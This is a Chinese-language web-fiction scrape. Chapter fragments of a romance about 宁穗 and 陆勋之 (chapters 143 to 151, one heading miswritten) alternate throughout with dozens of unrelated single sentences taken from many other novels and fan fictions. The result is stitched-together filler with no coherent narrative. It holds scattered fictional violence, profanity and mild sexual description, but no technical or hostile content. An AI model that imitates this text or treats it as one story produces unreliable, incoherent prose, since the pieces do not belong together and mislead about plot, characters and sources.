皎羽看到厅内的这副情景,心道难怪一路上一个道人都没看见,原来全部聚到了这里。 令人头疼的是,永定河内的水量并不大,而且到了枯水期还会发生断流,这样一来想建起一道隔绝进山的围墙就非常的不容易。 马原知道家光所言的情况所迫指的是巴里安突然跑到台面上,掌握了彭格列的一些大权,以及九代目首领突然失踪。 “不过什么?说出来便是。”沈博儒按捺住内心的不耐烦,缓缓的说道。 “招什么?我还没问你刚才所说的话是什么意思呢?”南宫逸的心里一惊,但却面不改色,他不想让别人看穿他对凌雨薇那隐藏起来的感情,哪怕是最好的兄弟也不想。 就在这一刻,他无比的痛恨自己,为什么要开这个车。如果换做自己的话,别说这不过是区区一只M3,即便是M4来了也不至于像现在这么狼狈不堪。 皎羽伸手推了推门,发现门从里面被销住了,门缝中便可以看到插销。皎羽延出灵力,将插销一点点退了出去,房门便无声地开了。 月乘风慢慢从地上爬起来,身上的衣物已经破破烂烂不成样子,见到王灵羽他们,少年露出一个微笑,朝他们打了个招呼。 系统曾经随机出的炼丹基搓解和灵药大全,他都醍醐灌顶过,因而对世间草木灵物和丹药基本上都有所了解。 没那么多药分给几乎都有伤的山贼,赵岳指点着山贼自己如何正确处理伤口,和三巨汉一边闲聊着。 而铁壁城五大守备军团的六万战士却在五大亚圣的率领下应付百万亡灵大军的攻势,已经岌岌可危了。 大殿正中,有一张很大的沉金木桌子,跺正坐在上垂首,旁若无人的自斟自饮,哪怕中年人询问,他都没有抬头。 第143章 陆勋之知道宁穗出卖了他 宁穗一上午都在书房里待着,什么都做不下去。 满脑子都是陆勋之今天投标的结果。 快到傍晚的时候,外边才传来了说话声,宁穗快速起身,走到房门前,开了一个小缝。 “知夏婶好,五叔好。”曲奇笑眯眯的打招呼,把自己带来的礼物放到客厅的茶几上。 又过了一会儿,整齐划一的脚步声音就踏踏地响了起来,将军打头,林宪东打着手电筒急急地跑了过来。 维诺一遍遍重复着道歉,嗓音低沉柔和,一下接一下地拍抚着怀里紧绷着的身体,胸口蔓延开幽微无言的痛楚。 若水本想说她怀疑这事儿背后怕是有内情,但想到王凝不一定相信,只好好言安慰,说自己一定会想办法把周光宗给她弄回来,让她不要担心,好好在家等着。经过若水再三劝说王凝才安静下来。把若水折腾的够呛。 “你是不是就想把信私吞了不还我也不给我看?”林益阳挑眉道。 惨叫声开始蔓延,二十三层成为国卫队的墓葬场,上来一个死一个,上来两个死一双。 若水的心忽的跳了起来,看着面前温润俊秀的面庞,心第一次乱了频率,她不知所措的躲闪着对面男子的目光,连呼吸都急促起来。 老于,盯死乌利马特和乌利秋莎,我现在就去见科娃。”阿笙戴上帽子护止镜围巾,又换了一双内里带绒毛的皮靴,开着黑色桑塔纳往清心茶楼走。 刚想要让凌鸿进屋,厨子和沈萤却杵在门口一动不动,两双怨念的眼神,齐唰唰的盯在了牛爸爸身上。 阿罗耶听到孔宣的笑声心沉了下去,对揭穿自己的若水也恨上了。她是骗了孔宣,可是她对孔宣的感情却是真的,她是真的爱孔宣的,这份感情没有半点掺假。 五姑娘打断她没说完的话:“忍冬你回来了,去廊下歇着去吧,替我劝劝半夏。待会我找你你再来。”说完脸扭向一旁,竟是半句话也不愿多说的样子。 “族长,此事是否有些不妥?”虎乘风身后,一个健壮魁梧的老者出言说道,在他身后,其余人也是略有疑虑。 数百人的气势狂涌而出,陡然汇聚在一起,‘荡’漾在方圆数里之内,竟然丝毫不弱于金刚寺的强者们。 一时间,原本互相对峙的三界之人,竟全都看着楚晨等人,嘲笑了起来。 “师门所授!”司徒嫣在告诉端木玄这些时就已想到如何解释了。 半个时辰以后,他从衙门正门里踱步出来了,心里转着的,是一个叫作“王六阳”的名字。 顾成卉想要在没有别人的时候,突击一次正明居看看——不过她也无意多做解释,只披了一件白色的皮袍子,便带着忍冬和细辛出了门。 这是三只怪物,一头长着两头脑袋老虎,虎躯长达七八米,高约两米五,两头虎头的脑袋上左边拥有一支金黄色的独角,右边拥有一支弯曲银灰色的独角。 萧雨心中苦笑,不提这事还好,一提到这件事,心里总有一种莫名的负罪感。 而流浪人,似乎之前受伤的也有点严重,虽然第一次的战斗是胜利了,但是在第二场的比斗中,就失败了,然后朝着玄天一这边传了一个眼神之后,就匆匆的离开了,似乎是要要疗伤了一般。 片刻后,我就看到了三个看起来三十多岁的中年男子,其中一个身材壮的像头牛,皮肤黝黑的男子在看到陈丹后,急忙走到我们面前说道。 “雨琴,你怎么了?”秦彤担心地看着雨琴,她不知道雨琴怎么会突然进来,更不知道她的情绪怎么变得这么不稳定。 所以,哪怕背叛山河会有很大的风险,可自私的她们,还是决定冒险跟随秦枫。 不过,他在看的是,从他们打完比赛下船到现在,他们谁都没有见过王谋仁。 “工作已经安排好了,到行政部,到时还望夫人相助。”林枫作揖的样子相当滑稽。 “大招吧……”林低弦现在也没法判断,这种不寻常的装备选择,到底是在搞什么鬼。 “住院哪,倒是你怎么在这里,莫非跟着我来的。”林枫眨眨眼笑道。 我讶然失声,不过想到艾雪已经成了寒冰狱主,这对她来说无疑是最好的归宿。 “哎!原来人类世界这么好玩,等我长大了,我一定要去看看。”烛眼坚定信念,目光看向大海的尽头。 “都这个时候了,还出去晃荡个什么你咋就难过了”李梅梅满脸心疼的抱着王笑笑。 远古恶魔见一击没有命中,又一次爆发出震动山河的怒吼,双腿向前猛然跨出一步,这庞大身躯一阵五彩光芒中,瞬间就向前冲出十几里远,这速度与体型是完全不相称的。 吴登也看出了王庸的无奈,他轻轻叹口气。这个情况早在他预料之中,因为他也不止一次设想过找人做掉坤德,可都难倒在那道进出的防盗门上。 第144章 是想报复我吗? 宁穗一晚上都没睡。 陆凛之的电话和短信进来,她也没接没回。 对方大概是气爆了,甚至都没按原来约定的,通过裴斯年联系。 免得被陆勋之知道。 不用细想也知道,陆凛之已经懒得装了。 这件事,要么是被陆勋之提前做局,要么是被宁穗出卖。 幽暗的甬道两旁是一条黑如深渊的峡谷,仿佛被某种外力开辟出来一般。 一直平静的眼神,荡起一丝波纹,但是只是一瞬间,马上就恢复到了平静如水。 顾恒生看了很多的血腥杀伐,尸横遍野,尸体腐臭的味道让人作呕。 张凡没想到华夏竟然出现过这么可怕的人物,幸好他们只是混迹在古武道界,若是让他们出现在雇佣界,以三年前的自己水平来看,完全是分分钟被干掉的下场。 杨诗韵明白,上官鸿并不是冷血无情,而是他见惯了太多的生生死死,自然是要想多开一些,但是这毕竟是贺艺锋的第一个孩子,她心中终究是不能够安心的。 因为,在莉莉丝神歪倒的时候,眼睛不再是在注视萧遥的,而是望向了青年的方向。 她这种时候居然还想着她的朋友,却没有想过她自己遇上危险,他又是多么的担心害怕。 且她肆无忌惮地原因还有她感受的到这十几日在山庄里相处着,谢抒显对她明显要比之前态度缓和。 顾恒生与林青寻对视着,他相信曾经纵横一个时代的林家老祖,肯定是有着自己的坚持和信念。 算算时间,随着白银大会的渐渐接近,大部分的训练家也差不多到了浅葱这一带开始挑战道馆,人多一点也是正常的,加上很多人找不到旅店自然回去那里住宿。 这样的话题,想不冷场也很难的……往深了不能说,往浅了没意义。纵使三人心上都是千头万绪,可却也都如同一团乱麻般,看不到解决事情的方向。 “妈的,婊子!你算什么,也敢和大爷几人这样说话!”刚才说话的五人突然有人说道。 其实,何宇昊的心里也很清楚,毕竟,以他和冷一念现在的关系,会出现这种情况,一点点也不奇怪。 莫绍霆在林紫音开门的时候,就已经知道了,而他没有说,只是不想让林紫音的心里对他有什么想法,也并不想引起她的任何误会。 沈水柔双手狠狠地扑打着水面,脸上又羞又恼,眼眸中尽是一片娇羞之态,气得娇躯乱颤不已,胸前一对白花花的肉急剧颤动,晃荡出了片片撩人心弦的浪花。 “是吗?如此说来,我们到时候要恭贺一下了!”话虽然这么说,楚成的心情咯噔一下,他偷偷的看了一眼周蓓茜,一种不是很好的感觉涌上心头。 冰岚连忙拉起冰峰,扶着冰峰的双肩,仔细的观察着冰峰,不停的点着头。 出门看见茶香在院里吩咐丫鬟们上茶,花溪上去拉着她走到一边。 “启禀大人,这里乃是京东西路徐州辖内卧虎山,此地距徐州一百二十里,是一个偏僻的地方。”王二宝躬身施礼。 “你想要我怎么报答?”花溪放柔了声音,指尖在宗启脖颈上流连。 赛事结束,时长青下了台还想问怎么领这两万星币,却听光脑传来一道进账的提示。 我确定四下没有旁的动静,他们着实已经离开后,才捂住麻木的胳膊狼狈从草丛里钻出来。 第145章 宁穗逃走 陆勋之的眼神直勾勾的,好像等着宁穗说出实话。 实话说出来之后,是什么后果,谁也不知道。 宁穗不该惹怒他的,她知道,可她做不到。 “是。”宁穗语气没什么起伏,冷淡的,像是在回答陌生人。 到了徐大贵家附近,徐兰拉着徐大海,远远地躲在附近大树后面。 说死猪不怕开水烫也好,说是彻头彻尾的渣男也罢,反正已经懒得再去费尽口舌澄清什么,跟安娜塔西亚依旧保持着不远不近的关系,赵白露和长泽绫这边也不是太在意。 而且还有五万年的期限!这五万年里,如果他们发展的迅速,那么下次封号神王大赛他们就有了争夺的资本,很多宗门都非常激动,现在的他们实力确实没有很强,但是五万年后呢? 这一幕落下正迈进议政殿的三人眼中,宣王微微皱眉,冤枉?那就是想说,贺兰雪冤枉了他们? 可二狗子忘了一点,他面对的可是连混沌神都坑了的风铃,他怎么可能会信。 村落里的人没少吃苦头——加上,克里斯和纳迪亚有合作,不仅如此,他还和国内的富商有合作,当初和吴中景有联系的便是巴隆,之后巴隆为吴中景引荐了纳迪亚,也是这才导致了巴希的死亡。 白其石能让原家为他效力,能让这么多人为他效力,为什么就不能在研究所埋棋子?他虽然很不想怀疑自己人,可人心这东西,就这么现实,你不得不怀疑。 这人被噎住,这话一说,谁还不明白谢梓良为什么去痛打连康,这件事上,连康实属活该,当年的事早被翻出来,他不低调的按谢家的要求,把事抹了去,他还固执什么呢?国公府上百年的脸面,这就全给败完了。 正是由于做贼心虚,还喝了点酒,只能说今晚发挥马马虎虎,对付安娜塔西亚足够了。 然后怔愣在床上的冷凌云,便看到那只枯槁的手缓缓将自己头上的风帽摘了下来。 刘向东不以为然,他认为只有知道了何念念的态度,他才能决定是否要帮助孟凡朗,毕竟他也不想看着何念念嫁给孟凡朗去受苦。 “……你出去。”焦磊英武的面孔难得出现一丝羞涩,直接把他推出了厨房。 “这才是我的好兄弟。”洋洋拍了拍轩轩的肩,很是开心的说道。 朱副总理自问自己也不知道秦氏集团的未来到底应该如何的发展?? 可是,更让他难以接受的是,自己的敌人竟然发出一招之后就抱头鼠窜了,这还是一个合格的强者吗?随随便便的发了一招就逃跑,天下间有你这样不要脸的强者吗? 说完,雪儿就挂断了电话。当伯爵夫人想再次打通的时候,电话已经关机了。 那你是有什么毛病才会因此苦恼。Draco的嘴唇动了动,没把这句他经常丢向Ron的话说出口,因为就算刻薄如他,也知道要是在这种时候把这种话说出口,那他就连个合格的朋友都不是了。 看着年轻的教父晃着信还洋洋得意的模样,Harry在这一瞬间,真的很想爆爆美式粗口。 以前的墨黎川虽然幽默但是脸皮却很薄,但是自从和梅子在一起久了,他不仅变得更加幽默了而且还外加脸皮便厚了。 李盛袭望着沈云嵩,面色有几分怔然,不是没有人怀疑过她的用心。 因为芒果TV采购芒果卫视的电视剧和综艺节目成本低,其他三家视频网站每年采购版权的费用都得几十亿。 夜沉瑾突然觉得有点口渴,他走到一旁喝了杯水,然后拿过毛毯给夏挽星盖上。 虽然对面什么都没说,但夏挽星就是有一种蜜汁直觉,这个号是夜沉瑾的。 淳于寒一身玄色曳撒服立于廊前,他的冰冷和孤傲都和东厂的一切那么的相得益彰。 有不少商界大老,都有类似的谈判场所,其实目的就一个,谈拢了就正式签署合同,如果谈不拢,那么商务会客厅里说过的话统统不作数。 似是认同了云飞龙的话,项千国又转了回来,看向了祁道远手里那把刚刚伤了他的黑铜钱剑。 不知睡了多久,张茜悠悠醒来,从背包堆里面爬出,看了看天空,只见之前的风早已停下,此时此刻,天气非常好,还能看到天上的点点繁星。 “姚颖到现在都没有回来?也没有和庞月联系?”难道不找到了金主,而是真的不想和月联系? 石太君也由着他,看到他好着、比什么都好。尤其,这曾孙是真心侍奉。 “大哥哪儿的?”这话刚出口,我就后悔了,感觉自己不应该问这么傻的问题。 二、双方的军事行动要保一致,在原则上,必须同时从南北对金国用兵。如果那一方要单独出兵,必须先争取到对方的同意,否则更可以视作违约出兵,另一方可不负担任何责任义务。 黎笑,笑得很开心,笑得很灿烂。她在飞舞,无数的绿色光点自她身上飞出。花在开,花在盛开,漫山遍野都开满了鲜花。 北风呼啸,好端端的天气,忽然变的如深冬一般无二,天空竟然飘起了鹅毛大的雪花,这在盛夏可不常见。 “三哥,那天我着急办事儿,没跟你打声招呼就走了。”我递给他一根烟,笑道。 “少敲我的头,本来就不怎么聪明,再敲敲不敲傻了吗。”刘枫捂着脑袋抱怨道。 阴柔法师男不可思议地看着擎着窄剑的霸剑邱扬,似乎完全没有意识到他竟然会做出这样的举动。 这还是我们第一次听说,难道说这五皇会是整个游戏里最后的大BOSS吗。 “没问题,我只要少接一些预订货的单子就可以了。”范驰说到。 “要想把飘香谷这个招牌真正的做大做强,必须从一开始就把这个招牌呵护好,经营好。”冯明也说到。 “你会华夏语?”张昀倒没怎么在意安娜的发言,他比较好奇安娜是怎么听懂他们说话的。 少年有些漫不经心地眯起眸子,白净的面容上扯出一抹略带痞气的笑容,恶劣又散漫,长睫微垂,遮住了漆黑瞳眸中散落的星光。 第146章 陆勋之,你想救她吗? 宁穗眼前的光影晃动,耳朵嗡鸣,整个人像是被裹在一个巨大的水球中。 胳膊和腿被人拉扯,她是被扯出车的。 她想喊,可是一块布突然捂住她的嘴,几秒钟后,她失去了意识。 裴斯年伤得很重,整条腿卡住。 “过来吧,保证把你打扮的艳压全场。”艾力谄笑的看向洛思,朝后扬了扬下巴。 裴南川这话就相当于是挑明了,而这些话似乎也是刺痛到了董潇潇。 击杀牛头巨兽之后,爆出了1个生锈的铁片、1件残破的粗布短裤和1个腐烂的稻草戒指。 因为顾承渊有过命令,霰弹枪尽量打头部以下的胸膛和脖子,避免破坏脑核。 当自己的面,把自己的爱人当箭矢一般地射往不可一世的敌人,这是送他去死的节奏,她没办法做到。 衣袖被人拉住了,千晚回头一看,牧清可怜兮兮的拽着她的袖口,额前都是冷汗,分明是吓得不轻。 任务的内容是收集8张【燃烧恶魔的邀请函】,任务奖励是【火焰之破魔石】。 寒来一看自己手里的折扇,玉兰的扇骨触手冰凉,扇面上带着点泼墨般的金色。 话音刚落,她顿时意识到自己语气不对,连忙低头躲过林峰目光。 宣国战败,是天命争斗中的失败,林峰更是以此暗示,自己已经认清现实。 赵景自马上回头,只见身后一辆马车上露出了齐云姝白净娇美的容颜,笑容温婉。 一不做二不休的殷祁连寒暄的步骤都省略了,他挥了挥手,周围成片成片的妖魔鬼怪已经朝着四人猛扑而去,他自己则是像个王者般凌空坐在高高的椅子上,居高临下的欣赏着这片杀戮盛宴。 风声鹤唳,树叶沙沙,琴声悠扬,希樱琴还沉浸在自己的弹奏当中。 达斯特等人自然不会反对,毕竟boss老板都以身作则的吃水果了,他们还能跟叶落唱反调不成? 与此同时,云倩在这一刻却是花容惨变,她眼睛的余光瞥了古飞等人的方向一眼,示意他们赶紧离开。 原来有他的地方不管身在何处,都可以这般温暖美好,她粉唇上扬,溢出一抹恬静的笑颜。 除非他想赔钱,不然价格该多少就该多少,即使他给出的价格足以惊掉无数人的下巴。 在青禅的带领下,三人乘着夜色,来到了一座金碧辉煌的大殿门前。 “欺我里昂戈!!S我兄弟!!你的好日子到头了!!!”我一个箭步直接朝他冲了过去,kd直接朝他脸过去了,他往旁边一躲,然后一个横扫腿直接扫到我的肚子上,我被他踹了出去,顿时岔了气。 最后被拉开后,杨子龙淡定的抽了支烟,拿出手枪对准了胖媛的弟弟,好在有人抢先一步拉了他,直接打到了旁边。 “昨天晚上回来的,听说二大爷八十大寿,我来看看!”名叫大潘的青年笑道。 回到家里,喵喵一路跑紧客厅,看见冬天正端坐在那跟连城雅正说话,简易也在。 顾若云没有说话,缓缓的走到夜阑的身边,手指轻轻的落在了他的脉搏之下。 “客官四位吗?要雅间还是大厅?几位来得巧,我们楼刚刚捕了一只心动期的乌鳢,今日要上灶呢!”伙计带着礼貌的笑容,向他们介绍起来。 第147章 宁穗死了 宁穗醒来的时候,眼前一片光,特别刺眼,她紧紧闭眼,想抬手挡住眼前的光源。 但是手动了动,感受到了极大的阻力,她微微低头看过去。 手被绑在了病床上。 宁穗浑身一愣,倏地抬头看向周围,几个医护人员正在忙碌。 为何会有这种奇怪的声音?这声音又是从什么地方发出来的?花语平原!难道说这种奇怪的声音是这些花发出来的吗? 那名犯人的情况相当严重, 几乎窒息而死, 克拉克夫人原本申请将他送到医务室来治疗一段时间,结果被霍克典狱长驳回了,只同意她每天在狱警的陪同下去监房里观察一次。 “二十一世纪?”哈利有些茫然,然后低下头开始掰手指,只是越算他的身体就越僵硬,整个身体仿佛都发出了生锈卡壳一样的声音,“这不可能!”他最后发出了一声尖叫。 也许再过十二年我也能这么帅吧……李维斯羡慕地想着,又有点说不清的得意。 他驻足在回到房间的长廊中央,慢慢地攥了攥并没有球拍的右手,又在咂咂嘴后缓缓地松开。 冷凌云看着人皇微微点头,在方才那一瞬间恐怖的力量释放之后,她心中很清楚,自己在他面前,只要他想知道,自己根本就没有隐藏的必要,倒不如索性点头承认。 交易系统现在缺乏能量,方白还无法走出系统所在的空间夹缝,但是离开那个死寂的空间就足以让方白高兴了。 尽管他重伤在身,守卫还是给他上了手铐。唐老太太的视线从那刺目的金属圆环慢慢挪到儿子脸上,心痛、怜惜、失望、痛恨……无数种复杂的情绪浮现在苍老疲惫的面容上。 刷的一下子,这徐婉婉的脸蛋就红了下来,而且脑袋什么瞬间冒起了一股烟雾,这家伙竟然害羞了起来。 也不知是为什么,我在这一刻竟然破口而出,也不管雯的想法是如何,就单方面的强行说了出来。而且这并没有完。 从大宋前往大理路途艰辛,好在阳云汉胯下“龙驹”宝马依旧神骏,驮着阳云汉一路跋山涉水。 这个李娅虽说比夏建大了几岁,但在夏建眼里,他总觉得她和自己年龄相仿,所以他不喊什么大姐,而是直呼其名。 此等宝物就这么消失了怎能不让他们心急,当察觉到除魔榜消失的时候于桓无比震惊,没有谁比他更了解除魔榜的来历,作为至尊强者的创造的宝物它是有灵性的,于桓实在想不出谁能将他带走。 除了这点,不同的还有天上追逐的,地上嬉戏打闹的,前方丛林外树上左右摇摆的,就地打滚的,人模人样荡着秋千的……应有尽有,多姿多态,各种各样的灵兽。 一晚上的喝酒,一晚上的疯狂。王有财从看到吕猴子的哪一刻起,他感觉到自己的灾难就要来临了。因为这个吕猴子就像一个恶魔一样,会缠着你倒霉。 她态度的180度转弯让我一时间难以适从,也许,有些人,有些东西要等到失去以后,才会想起改变吧? 吕玄扫了一下顶住自己的是一把锋利的匕首,漆黑如墨,很有质量的匕首。 墨七月砸落到地面,只见地面被砸出一大坑,墨七月浑身骨骼皆碎,他这是彻底败了。 紫色的长包袱抖开,里面是一把没鞘的刀,刀很白,如羊脂玉,刀柄上五色线系成一个好看的斑斓猛虎。 忽然,年轻人屈指轻轻一弹剑身,只听一声低沉的嗡鸣声瞬间朝四周震‘荡’开去。 “站住,请出示请帖,没有请帖的外来人员禁止入内!”来到会所门口,两个黑衣保镖立刻将两人拦下了。 祖尸兴奋得拼命扇动自己的鼻翼,发出沉沉的喘息。其实他之所以如此不相信傲青,只是因为当年血魔牧云叱咤风云的时候,他老人家还在鬼人宗里乖乖当着“傀儡”,若是早就听说过他的恶名,便不会有这么许多忐忑。 我是魔族后人,一身魔骨,有魔气无可厚非,他一个鬼族王,身上怎么会有魔气? 毕竟她一个厉鬼,我不让她害人,已经算是极大的约束,如果连鬼都不让她吞噬,那确实是有些过分。 瞧着立春准备的吃食如此简单和粗糙,厨房管事的未免有了些怒气,这明显是敷衍糊弄自己。立春也不多言,只让厨房管事的端了过去,若是大少爷还不肯吃,只管回来找自己就是。 “你看,逐日来了。”傲青摸了摸苏瞳的头,把她拉到船舷另一边。 羞恼的涨红了脸,这大白天的,还是在室外,他就这么抱着她打。 昨天晚上提前庆祝生日去了,没来得及写今天二更,刚刚新鲜撸出来的,赶紧奉上,还是晚了一点点,嘤嘤嘤嘤。蛋蛋又会打我的,怎么办? 衣服布料和布料之间摩擦的声音听起来令人脸红心跳,而慕少琛的欲\\火彻底的被点燃了,任谁也无法浇灭了。 只是我不明白的是,就连外面的那些普通的虞家之人,都几乎一眼极阴之体,而且从之前我擦过的墓碑来看,虞家的极阴之体不少,为什么她会这么惊讶。 这种情况下,自己都差点被引诱,问题不是在自己身上的话,那就应该是出在苏巧儿身上了。 而她的肉身,又因为吸收了另外一颗尸丹里的力量,产生了灵智变成了纯正的僵尸。 吉普车飞驰在回步云山庄的路上,布天手握方向盘,满脸笑意的看着前方心情无比的惬意。左右脸颊上,朱红的‘美人印’特别的亮瞎眼。 但是偏偏他们又不会死,这让他们,只能永远的活在饥饿的痛苦中,那花果山。就成了另一个,饿鬼道了。 而为了大家还能在见面时和和气气地坐下来聊天,徐嘉木希望陆晓晓别把这件事告诉风华绝代。 第148章 我又看见她了 五年后。 海城公墓。 “陆总,董事会那边等着您开会。”唐桓小声提醒。 陆勋之半蹲在两个墓碑前,很有耐心地擦拭照片。 此时的宇智波鼬正坐在办公室,听到带土的叙述之后,他显得沉稳很多,甚至惬意的端起了桌前的咖啡静静地品了品。 今天她本来就起得晚,居然跟许晋朗在咖啡屋呆了一整个下午,这还真是有史以来最清闲的一天了。 可惜,她这样子非但没让罪魁祸首内疚,反而让他想去捏她红润的肉嘟嘟的脸庞了。 无论秦韶怎么问,他从叶倾城嘴里能问出来的,也就只有反反复复这几句。 前几天在夜总会看到她还好好的,怎么短短几天就成了这副模样,真的,搁谁谁都有点儿接受不了。 “你找死!”莫靖远站在王明海身后,沉着脸,冷冷的看着他,微微眯起的双眸里,带着狠戾。 杜箬有些犯怵,大BOSS亲自给自己当司机,多少有些让她扛不住。 也就是那个时候,网络节目这一块的黑匣子才算是真正被打开了。 两人离开住所,驾驶者豪华跑车,一路风驰电掣来到了张远住的甜馨公寓楼下。 叶尘枫不禁感叹,姬秋水对自己算是好的了,最起码说了很多句话。 “师弟,气色好多了!!!昨天回来就晕倒,你受那么重的伤居然坚持了那么久!!”方丈叹了一口气。 但是雪儿却并没有丝毫颤抖,因为有浪齐在让她觉得异常安心,就算知道被射中会死也没有任何恐惧。 “果然。”隐形人轻笑了一声,“好了。”接着,在魔王略带愕然的目光下,双手抓住桅杆上的缆绳,一步一步向上爬去。 后天的天才,开启的星宿平庸,通过一次次的大机缘,精神力一点点暴涨,精神力观察一重天到四重天,开启过四颗星宿。 在游离子积极的带动下,SSS团的成员们士气高涨。不过士气高涨是一回事,打不打得过就是另一回事了。 他们这个铁三角吸引了绝大部分‘火力’。让许多鬼魂直接忽略了白元扑向他们,为白元减少了很大的压力。 这让宋怡的脸色微变,这缅国的环境还真是比她想的要恶劣一些。 商茜一身OL装,修长的美腿上缠着柔顺的黑丝袜,几乎让过往的男人发狂。她本来就胸大腿长,这丝袜一上脚,再加上可爱不失性感的高跟鞋,她一出场,全场的男记者都轰动了。 可见到琼英圣师那眼里露出的关切,那堵在嗓子里的几个字,却硬生生顿住了。 至于柳妍月,她专门从家里拿来几瓶价钱昂贵的红酒,今晚三人美美的吃上一顿烛光晚餐。 “还有谁想来送死吗?我随时恭候!”广目天王淡淡一笑,此刻他脸上也沾染了几丝血迹,再配合他那个笑容,还真如同魔头一般。 赵晴明显也是几天没睡好,黑眼圈重的很。眼角还挂着很重的泪痕。 “天地即将崩塌!”周运自言自语了起来,说实话,这句话周运不止听到一遍,但周运能做什么,周运能阻止天地崩塌吗? 叶飞瞧见这典型的恶霸截道情景,看看眼前这三人,不知道该说什么了。 都149章 很怕哥哥跟我抢 以前两兄弟的关系很亲密。 可自从陆闻之意外昏迷之后,就被郑美婵带到了国外,陆勋之也很少见到。 那时候他被三房这边穷追猛打,自顾不暇,哪里有精力再去看陆闻之过得怎么样。 再者,郑美婵一直都偏爱陆闻之,陆勋之想,她大概不会亏待陆闻之。 姜云躺在地上,大口吸了几口空气,勉强缓过来一些,这才看向指尖上那一点金色纹路。 她相信厉御南的手段,厉御南的人调查出来的结果居然是这样,这不是很明显了。 别说他现在脱不开身,就算有那个时间,他也绝不会想去现在的欧洲。 他们花费了二十年的时间,勉强找到了一种能替代人体,并能长时间不腐的特殊材料。 所以连昕见戚汐并没有做太遮掩性的打扮,她在门口扫视了一下,就认出了只带了个帽子的戚汐。 昨天白以枭带纪甜甜去了动物园,前天白以枭带纪甜甜去了风景区,纪甜甜都没有抗拒,可不曾想到,带纪甜甜去游乐园,却会遭到她的拒绝。 “我再坐会儿,你自己先去洗澡吧不用管我的。”这会子林语析说话的声音都已经沙哑了,他躺着不想动,可他知道如果他迟迟不去的话林语析哪怕是再累也会选择先去把这澡给洗了,这对林语析也不好。 九儿坐在营帐中,与玉桂丁忧他们商议着关于卫城这一战的事情,就听到门外有人进来传话说即墨青找她。 好在,如今纪母成功的进入了她的圈套,往后只有死路一条,至于纪依依,此刻已故意伤害罪进了监狱,去的倒是很舒服,不过等她出来,她的日子也是很难过了。 连他自己都不能确定如果这场比赛最后输了,他还能不能依然坚信自己对于比赛的理解,也许在很长一段时间都会产生自我怀疑。 杉锦记不清棕毛男生的名字了,不过他和她一样都被分到了二班。 这次同时人类也在做相应的补救,这就完全不需要她一蹴而就了,终有一天它会变成梦想的样子。 柳氏满嘴仁义道德的说着,一双眼睛却不住地往几个孩子碗里瞟。 秦子瑜以前并不是坏人,也没有精神病和杀人的癖好,但是让他变成这个样子的原因却是因为他最爱的人是夏暖暖。 如果忽略颤抖得像涮子似的手脚的话,老贺真以为他们一点都不怕。 一踏出木屋,眼前一片醉人的湖泊,湖内有路,路的尽头是一棵足有十人高的桃树。白色的流云在树冠间浮着,不时的,一只只飞鸟从内穿梭而出,好不美丽。 也许,一切的话语显得苍白,只有行动,才能最直接表达出两人的渴望。 走到村口,就看到常乐一脸焦急的来回踱着步,像是在等什么人。 所谓父母之命媒妁之言,直接定了她的后半生,给她强行塞一个夫君,这并非是她想要的。 那玉瓶倒是没有再产生其他的异常,林煜又从中拿到了一粒黄色丹药。 这一年,维阿部落又添置了百十来个新族人,但是毕竟原来的族人比较多,所以大家见到简杨的一刹那,全都愣住了。 “补充来的两部新兵,用纸面数字计算,应为两千一百人,以班编制计算,大概需要一百九十左右的新兵班,但是考虑到损耗,我认为,咱们按照一百五十个新兵班来准备就够了。”邱伟说道。 第150章 你对她有意思? 陆勋之的视线只在女人身上停顿了一秒,便收回视线。 陈斌反应过来,这是陆勋之的胞弟,只是第一次见,没想到两人能这么像,根本分不出彼此。 在她闭上眼睛的那个瞬间,摩天轮正好到达了最高点,远处,好像有烟花在放映。 墨竹强忍着剧烈咳嗽的冲动,笑着摸摸她的脑袋,有些愧疚,自己昏迷这么久,这孩子一定是吓坏了。 眼泪不断的从她的眼睛里面掉了下来,消瘦的身形在不断的颤抖。 正欲去碰其他琴弦的墨竹听他这话,吓得连忙收回了手,不敢再乱动。 慕七七猜测得果然没错,皇耀假钻石的事情,还有更严重的后续,因为一大清早,就又有皇耀的消费者,直接带着记者到了皇耀的专柜,和之前的那个富太太一样,也是买到了赝品。 也因为有了这位教授导师,白玉在学校没有其他学生那般按部就班的上课什么。 景云是担心盛骁,曾答应过,三个月后,会给盛母带儿媳回去,难道,他就真的要带慕七七出现在盛家了? 司景遇努力平复心中怒火,将那一抹面对叶茴安时才有的异样情愫抛之脑后,他声音依旧冰冷,平淡的不起任何波澜。 一听是军事学院的学生,孙芸的脸色微微变幻了下,瞳孔划过一丝一异芒。 因为那个渣渣说过,因为爱原主,所以才要把最珍贵的留到结婚的时候,那时候再要了珍贵第一次,这才是有意义。 “营长,是团长派人把我叫来的,还把我记录的这次缴获的册子给拿走了。 由于效果优异,倪双在部署里,将为这座吊桥上所有猎人进行强化。 看着赵呈徽的背影,商容洲抿了抿唇,她也不知道自己出于什么心理说要把赵呈徽给杨莹。 第二天一早,袁无极神清气爽的离开了将军府,自家夫人还要提供一批新式刀具,自己得去营里看看如何分配。 想着想着,赵呈徽原本只是耳尖泛红逐渐蔓延到整个耳朵都是红彤彤的。 但只听得一声哇的叫声,那乌鸦在青灵剑即将落到自己身上的时候飞了起来。 袁无极带着上千人到了矿场,嘉兴关这边有个大型铁矿,一直都是受朝廷控制,现在嘛,在嘉兴关的地盘上就是嘉兴关的了,直接挥了挥手,手下的人立即上前将所有矿场的人控制了起来。 他们还没从“泰迪奶奶”的震惊中走出来,少爷又突然疯啦??? 肖帆拄着医用拐杖后退,卫丙函和其他人不同,肌肉线条绷紧,显得不像理科生,而是经常锻炼的体育生。 但整个盗洞之中并没有任何慌乱的地方,这点让我感觉事情似乎有些反常。 其实当初在阴灵教分教之时,吴翼曾经因为齐御封对萧茹芸一些奇怪的眼神,怀疑过齐御封,但并没有太在意,而此时想着那有关的一切,吴翼心中倒不由得深思起来。 仔细探查后,徐大山就知道先前猜测没错,这些鬼物是可以杀死的。 易纪川与张陌对视,咽下心头的恶气,倒也冷静下来,微微松了一些力道。 商量了许久,这才一至决定把婚礼定在三月后的一个吉日,然后和台英琪一同办理,一同过门。 第151章 不对劲,很不对劲 陆勋之收回视线,皱眉看向陆闻之,“那是你女朋友。” 他怎么可能肖想。 如此福利,是黄家近二十年来没有过的,因此黄家之内在黄韬略放出这个消息后,就选择了沉默,任由仪式顺利举行。 赵虎一听,先是一愣,而后立即回头望着背后,其余将士们也都纷纷转身望向东方天际,一个个一脸骇然,恍然大悟。 